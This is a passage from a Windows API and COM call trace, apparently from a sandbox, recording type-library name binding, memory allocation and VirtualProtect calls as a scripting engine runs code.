Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264c70 | out: ppvObject=0x264c70*=0x0) returned 0x80004002 [0037.461] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264c60 | out: ppvObject=0x264c60*=0x0) returned 0x80004002 [0037.461] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264c68 | out: ppvObject=0x264c68*=0x0) returned 0x80004002 [0037.461] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090398, ppTypeAttr=0x264c98, pDummy=0x10 | out: ppTypeAttr=0x264c98, pDummy=0x10) returned 0x0 [0037.461] ITypeInfo:LocalReleaseTypeAttr (This=0x8090398) returned 0x0 [0037.461] IUnknown:AddRef (This=0x8090398) returned 0x3 [0037.461] IUnknown:Release (This=0x8090398) returned 0x2 [0037.462] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264df8 | out: ppvObject=0x264df8*=0x0) returned 0x80004002 [0037.462] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264e00 | out: ppvObject=0x264e00*=0x0) returned 0x80004002 [0037.462] ITypeInfo:GetTypeComp (in: This=0x8090398, ppTComp=0x264e08 | out: ppTComp=0x264e08*=0x80903a0) returned 0x0 [0037.462] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7e68e80 [0037.462] IUnknown:AddRef (This=0x80903a0) returned 0x6 [0037.462] IUnknown:Release (This=0x80903a0) returned 0x5 [0037.462] IMalloc:Realloc (This=0x7feff045380, pv=0x8220e30, cb=0xb0) returned 0x810b0d0 [0037.462] IUnknown:Release (This=0x8090398) returned 0x4 [0037.462] IUnknown:Release (This=0x8090398) returned 0x3 [0037.462] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264a48 | out: ppvObject=0x264a48*=0x0) returned 0x80004002 [0037.462] IUnknown:AddRef (This=0x8090398) returned 0x5 [0037.462] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090398, ppTypeAttr=0x264a40, pDummy=0x10 | out: ppTypeAttr=0x264a40, pDummy=0x10) returned 0x0 [0037.462] ITypeInfo:LocalReleaseTypeAttr (This=0x8090398) returned 0x0 [0037.462] ITypeInfo:GetRefTypeOfImplType (in: This=0x8090398, index=0x0, pRefType=0x264a38 | out: pRefType=0x264a38*=0x3) returned 0x0 [0037.462] ITypeInfo:GetRefTypeInfo (in: This=0x8090398, hreftype=0x3, ppTInfo=0x264a50 | out: ppTInfo=0x264a50*=0x81d8b88) returned 0x0 [0037.462] IUnknown:Release (This=0x8090398) returned 0x4 [0037.462] ITypeInfo:RemoteGetTypeAttr (in: This=0x81d8b88, ppTypeAttr=0x264a40, pDummy=0x264a18 | out: ppTypeAttr=0x264a40, pDummy=0x264a18*=0x3) returned 0x0 [0037.462] ITypeInfo:LocalReleaseTypeAttr (This=0x81d8b88) returned 0x0 [0037.462] IUnknown:Release (This=0x81d8b88) returned 0x1 [0037.462] ITypeInfo:RemoteGetDocumentation (in: This=0x8090398, memid=0, refPtrFlags=0x264ac0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0037.462] IUnknown:Release (This=0x8090398) returned 0x4 [0037.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Item", cchWideChar=5, lpMultiByteStr=0x2649d0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Item", lpUsedDefaultChar=0x0) returned 5 [0037.462] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Item") returned 0x107ad7 [0037.462] strcpy_s (in: _Dst=0x264830, _DstSize=0x5, _Src="Item" | out: _Dst="Item") returned 0x0 [0037.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x264830, cbMultiByte=5, lpWideCharStr=0x264680, cchWideChar=5 | out: lpWideCharStr="Item") returned 5 [0037.462] IUnknown:AddRef (This=0x7f8b790) returned 0x10 [0037.462] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="Item", lHashVal=0x107ad7, pfName=0x264750, pBstrLibName=0x264680 | out: pfName=0x264750*=1, pBstrLibName=0x264680) returned 0x0 [0037.462] IUnknown:Release (This=0x7f8b790) returned 0xf [0037.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Item", cchWideChar=-1, lpMultiByteStr=0x264830, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Item", lpUsedDefaultChar=0x0) returned 5 [0037.462] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Item") returned 0x107ad7 [0037.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff35de, cbMultiByte=5, lpWideCharStr=0x264810, cchWideChar=6 | out: lpWideCharStr="Item") returned 5 [0037.462] ITypeComp:RemoteBind (in: This=0x80903a0, szName="Item", lHashVal=0x107ad7, wFlags=0x3, ppTInfo=0x2647c8, pDescKind=0x2647dc, ppFuncDesc=0x2647e0, ppVarDesc=0x264830, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x2647c8*=0x8090398, pDescKind=0x2647dc*=1, ppFuncDesc=0x2647e0, ppVarDesc=0x264830, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.463] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090398, ppTypeAttr=0x2647d0, pDummy=0x1 | out: ppTypeAttr=0x2647d0, pDummy=0x1) returned 0x0 [0037.463] ITypeInfo:LocalReleaseTypeAttr (This=0x8090398) returned 0x0 [0037.463] ITypeInfo:GetRefTypeInfo (in: This=0x8090398, hreftype=0x6600, ppTInfo=0x264088 | out: ppTInfo=0x264088*=0x80903f0) returned 0x0 [0037.463] IUnknown:QueryInterface (in: This=0x80903f0, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264258 | out: ppvObject=0x264258*=0x0) returned 0x80004002 [0037.463] ITypeInfo:RemoteGetTypeAttr (in: This=0x80903f0, ppTypeAttr=0x2640d8, pDummy=0x10 | out: ppTypeAttr=0x2640d8, pDummy=0x10) returned 0x0 [0037.463] ITypeInfo:LocalReleaseTypeAttr (This=0x80903f0) returned 0x0 [0037.463] ITypeInfo:GetRefTypeOfImplType (in: This=0x80903f0, index=0xffffffff, pRefType=0x2640bc | out: pRefType=0x2640bc*=0xfffffffe) returned 0x0 [0037.463] ITypeInfo:GetRefTypeInfo (in: This=0x80903f0, hreftype=0xfffffffe, ppTInfo=0x264088 | out: ppTInfo=0x264088*=0x8090448) returned 0x0 [0037.463] IUnknown:Release (This=0x80903f0) returned 0x1 [0037.463] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263de0 | out: ppvObject=0x263de0*=0x0) returned 0x80004002 [0037.463] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263dd0 | out: ppvObject=0x263dd0*=0x0) returned 0x80004002 [0037.463] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263dd8 | out: ppvObject=0x263dd8*=0x0) returned 0x80004002 [0037.463] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090448, ppTypeAttr=0x263e08, pDummy=0x10 | out: ppTypeAttr=0x263e08, pDummy=0x10) returned 0x0 [0037.463] ITypeInfo:LocalReleaseTypeAttr (This=0x8090448) returned 0x0 [0037.463] IUnknown:AddRef (This=0x8090448) returned 0x2 [0037.463] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263f80 | out: ppvObject=0x263f80*=0x0) returned 0x80004002 [0037.463] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263f78 | out: ppvObject=0x263f78*=0x0) returned 0x80004002 [0037.463] IUnknown:Release (This=0x8090448) returned 0x1 [0037.463] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090398, ppTypeAttr=0x264580, pDummy=0x0 | out: ppTypeAttr=0x264580, pDummy=0x0) returned 0x0 [0037.463] ITypeInfo:LocalReleaseTypeAttr (This=0x8090398) returned 0x0 [0037.463] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264630 | out: ppvObject=0x264630*=0x8090398) returned 0x0 [0037.463] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x8090398, memid=0, invkind=1, pFuncIndex=0x264670 | out: pFuncIndex=0x264670*=0x5) returned 0x0 [0037.463] ITypeInfo2:GetFuncCustData (in: This=0x8090398, index=0x5, GUID=0x7fee4093758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x264688 | out: pVarVal=0x264688*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x264730, varVal2=0x81813e8)) returned 0x0 [0037.463] IUnknown:Release (This=0x8090398) returned 0x5 [0037.463] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2645e8 | out: ppvObject=0x2645e8*=0x0) returned 0x80004002 [0037.463] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4092aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2644c0 | out: ppvObject=0x2644c0*=0x0) returned 0x80004002 [0037.463] IUnknown:Release (This=0x8090448) returned 0x1 [0037.463] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2645e8 | out: ppvObject=0x2645e8*=0x0) returned 0x80004002 [0037.463] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4092aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2644c0 | out: ppvObject=0x2644c0*=0x0) returned 0x80004002 [0037.463] IUnknown:Release (This=0x8090448) returned 0x1 [0037.463] IUnknown:AddRef (This=0x8090398) returned 0x6 [0037.463] ITypeInfo:LocalReleaseFuncDesc (This=0x8090398) returned 0x0 [0037.463] IUnknown:Release (This=0x8090398) returned 0x5 [0037.463] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264888 | out: ppvObject=0x264888*=0x0) returned 0x80004002 [0037.464] IUnknown:AddRef (This=0x8090398) returned 0x6 [0037.464] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ad8 | out: ppvObject=0x264ad8*=0x0) returned 0x80004002 [0037.464] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ad0 | out: ppvObject=0x264ad0*=0x0) returned 0x80004002 [0037.464] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090398, ppTypeAttr=0x264d28, pDummy=0x33a08e8 | out: ppTypeAttr=0x264d28, pDummy=0x33a08e8*=0x4) returned 0x0 [0037.464] ITypeInfo:LocalReleaseTypeAttr (This=0x8090398) returned 0x0 [0037.464] IUnknown:Release (This=0x8090398) returned 0x4 [0037.464] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x828a8b0, dwSize=0x54) returned 1 [0037.464] IMalloc:Free (This=0x7feff045380, pv=0x828a8b0) [0037.464] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090398, ppTypeAttr=0x2642c0, pDummy=0x0 | out: ppTypeAttr=0x2642c0, pDummy=0x0) returned 0x0 [0037.464] ITypeInfo:LocalReleaseTypeAttr (This=0x8090398) returned 0x0 [0037.464] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2650d8 | out: ppvObject=0x2650d8*=0x0) returned 0x80004002 [0037.464] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2650e0 | out: ppvObject=0x2650e0*=0x0) returned 0x80004002 [0037.464] ITypeInfo:GetTypeComp (in: This=0x8090448, ppTComp=0x2650e8 | out: ppTComp=0x2650e8*=0x8090450) returned 0x0 [0037.464] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7e68ec0 [0037.464] IUnknown:AddRef (This=0x8090450) returned 0x5 [0037.464] IUnknown:Release (This=0x8090450) returned 0x4 [0037.464] IMalloc:Realloc (This=0x7feff045380, pv=0x810b0d0, cb=0xc0) returned 0x8225960 [0037.464] IUnknown:Release (This=0x8090448) returned 0x3 [0037.464] IUnknown:Release (This=0x8090448) returned 0x2 [0037.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff3436, cbMultiByte=6, lpWideCharStr=0x264bd0, cchWideChar=7 | out: lpWideCharStr="Value") returned 6 [0037.464] ITypeComp:RemoteBind (in: This=0x8090450, szName="Value", lHashVal=0x104be4, wFlags=0x3, ppTInfo=0x264b88, pDescKind=0x264b9c, ppFuncDesc=0x264ba0, ppVarDesc=0x33a0d60, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264b88*=0x8090448, pDescKind=0x264b9c*=1, ppFuncDesc=0x264ba0, ppVarDesc=0x33a0d60, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.464] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090448, ppTypeAttr=0x264b90, pDummy=0x1 | out: ppTypeAttr=0x264b90, pDummy=0x1) returned 0x0 [0037.464] ITypeInfo:LocalReleaseTypeAttr (This=0x8090448) returned 0x0 [0037.464] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090448, ppTypeAttr=0x264940, pDummy=0x0 | out: ppTypeAttr=0x264940, pDummy=0x0) returned 0x0 [0037.464] ITypeInfo:LocalReleaseTypeAttr (This=0x8090448) returned 0x0 [0037.464] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2649f0 | out: ppvObject=0x2649f0*=0x8090448) returned 0x0 [0037.464] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x8090448, memid=0, invkind=2, pFuncIndex=0x264a30 | out: pFuncIndex=0x264a30*=0x4) returned 0x0 [0037.464] ITypeInfo2:GetFuncCustData (in: This=0x8090448, index=0x4, GUID=0x7fee4093758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x264a48 | out: pVarVal=0x264a48*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x264af0, varVal2=0x81813e8)) returned 0x0 [0037.464] IUnknown:Release (This=0x8090448) returned 0x3 [0037.465] IUnknown:AddRef (This=0x8090448) returned 0x4 [0037.465] ITypeInfo:LocalReleaseFuncDesc (This=0x8090448) returned 0x0 [0037.465] IUnknown:Release (This=0x8090448) returned 0x3 [0037.465] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264c48 | out: ppvObject=0x264c48*=0x0) returned 0x80004002 [0037.465] IUnknown:AddRef (This=0x8090448) returned 0x4 [0037.465] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264bd0 | out: ppvObject=0x264bd0*=0x0) returned 0x80004002 [0037.465] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ba0 | out: ppvObject=0x264ba0*=0x0) returned 0x80004002 [0037.465] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264b90 | out: ppvObject=0x264b90*=0x0) returned 0x80004002 [0037.465] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264b98 | out: ppvObject=0x264b98*=0x0) returned 0x80004002 [0037.465] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090448, ppTypeAttr=0x264bc8, pDummy=0x10 | out: ppTypeAttr=0x264bc8, pDummy=0x10) returned 0x0 [0037.465] ITypeInfo:LocalReleaseTypeAttr (This=0x8090448) returned 0x0 [0037.465] IUnknown:AddRef (This=0x8090448) returned 0x5 [0037.465] IUnknown:Release (This=0x8090448) returned 0x4 [0037.465] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264db8 | out: ppvObject=0x264db8*=0x0) returned 0x80004002 [0037.465] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264db0 | out: ppvObject=0x264db0*=0x0) returned 0x80004002 [0037.465] IUnknown:AddRef (This=0x8090448) returned 0x5 [0037.465] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090448, ppTypeAttr=0x265008, pDummy=0x33a0da0 | out: ppTypeAttr=0x265008, pDummy=0x33a0da0*=0x4) returned 0x0 [0037.465] ITypeInfo:LocalReleaseTypeAttr (This=0x8090448) returned 0x0 [0037.465] IUnknown:Release (This=0x8090448) returned 0x4 [0037.465] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x828a8b0, dwSize=0x4c) returned 1 [0037.465] IMalloc:Free (This=0x7feff045380, pv=0x828a8b0) [0037.465] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090448, ppTypeAttr=0x2645a0, pDummy=0x0 | out: ppTypeAttr=0x2645a0, pDummy=0x0) returned 0x0 [0037.465] ITypeInfo:LocalReleaseTypeAttr (This=0x8090448) returned 0x0 [0037.465] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x8279b10 [0037.465] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x828a8b0, dwSize=0x54) returned 1 [0037.465] IMalloc:Free (This=0x7feff045380, pv=0x828a8b0) [0037.465] IMalloc:Realloc (This=0x7feff045380, pv=0x8276d90, cb=0x1b40) returned 0x828a8b0 [0037.466] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x827e8e0 [0037.466] wcscpy_s (in: _Destination=0x8278cf8, _SizeInWords=0x4, _Source="Run" | out: _Destination="Run") returned 0x0 [0037.466] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087c28, ppTypeAttr=0x263f58, pDummy=0x264024 | out: ppTypeAttr=0x263f58, pDummy=0x264024*=0x0) returned 0x0 [0037.466] ITypeInfo:LocalReleaseTypeAttr (This=0x8087c28) returned 0x0 [0037.466] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x827ed30 [0037.466] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827c340, dwSize=0x4c) returned 1 [0037.466] IMalloc:Free (This=0x7feff045380, pv=0x827c340) [0037.466] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087cd8, ppTypeAttr=0x263f60, pDummy=0x0 | out: ppTypeAttr=0x263f60, pDummy=0x0) returned 0x0 [0037.466] ITypeInfo:LocalReleaseTypeAttr (This=0x8087cd8) returned 0x0 [0037.466] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827c340, dwSize=0x4c) returned 1 [0037.466] IMalloc:Free (This=0x7feff045380, pv=0x827c340) [0037.466] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x2641a0, pDummy=0x0 | out: ppTypeAttr=0x2641a0, pDummy=0x0) returned 0x0 [0037.466] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0037.467] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827c340, dwSize=0x54) returned 1 [0037.467] IMalloc:Free (This=0x7feff045380, pv=0x827c340) [0037.467] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090398, ppTypeAttr=0x2643e0, pDummy=0x0 | out: ppTypeAttr=0x2643e0, pDummy=0x0) returned 0x0 [0037.467] ITypeInfo:LocalReleaseTypeAttr (This=0x8090398) returned 0x0 [0037.467] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827c340, dwSize=0x4c) returned 1 [0037.467] IMalloc:Free (This=0x7feff045380, pv=0x827c340) [0037.467] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090448, ppTypeAttr=0x264620, pDummy=0x0 | out: ppTypeAttr=0x264620, pDummy=0x0) returned 0x0 [0037.467] ITypeInfo:LocalReleaseTypeAttr (This=0x8090448) returned 0x0 [0037.467] IMalloc:Realloc (This=0x7feff045380, pv=0x7cd4520, cb=0x170) returned 0x8110cc0 [0037.467] IMalloc:Free (This=0x7feff045380, pv=0x805f590) [0037.467] GetCurrentProcess () returned 0xffffffffffffffff [0037.467] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278541, dwSize=0x8) returned 1 [0037.467] GetCurrentProcess () returned 0xffffffffffffffff [0037.467] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278540, dwSize=0x8) returned 1 [0037.467] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160888, dwSize=0x39) returned 1 [0037.467] VirtualProtect (in: lpAddress=0x8160888, dwSize=0x39, flNewProtect=0x40, lpflOldProtect=0x264ebc | out: lpflOldProtect=0x264ebc*=0x40) returned 1 [0037.467] GetCurrentProcess () returned 0xffffffffffffffff [0037.467] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x81608e9, dwSize=0x8) returned 1 [0037.467] GetCurrentProcess () returned 0xffffffffffffffff [0037.467] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x81608e8, dwSize=0x8) returned 1 [0037.467] GetCurrentProcess () returned 0xffffffffffffffff [0037.467] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x81608f8, dwSize=0x2) returned 1 [0037.467] GetCurrentProcess () returned 0xffffffffffffffff [0037.467] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8277fa0, dwSize=0x5d) returned 1 [0037.467] VirtualProtect (in: lpAddress=0x8277fa0, dwSize=0x60, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.467] GetCurrentProcess () returned 0xffffffffffffffff [0037.467] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160941, dwSize=0x8) returned 1 [0037.467] GetCurrentProcess () returned 0xffffffffffffffff [0037.467] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160940, dwSize=0x8) returned 1 [0037.467] GetCurrentProcess () returned 0xffffffffffffffff [0037.467] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160950, dwSize=0x2) returned 1 [0037.467] GetCurrentProcess () returned 0xffffffffffffffff [0037.467] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82781ec, dwSize=0x57) returned 1 [0037.467] VirtualProtect (in: lpAddress=0x82781ec, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278031, dwSize=0x8) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278030, dwSize=0x8) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278040, dwSize=0x2) returned 1 [0037.468] 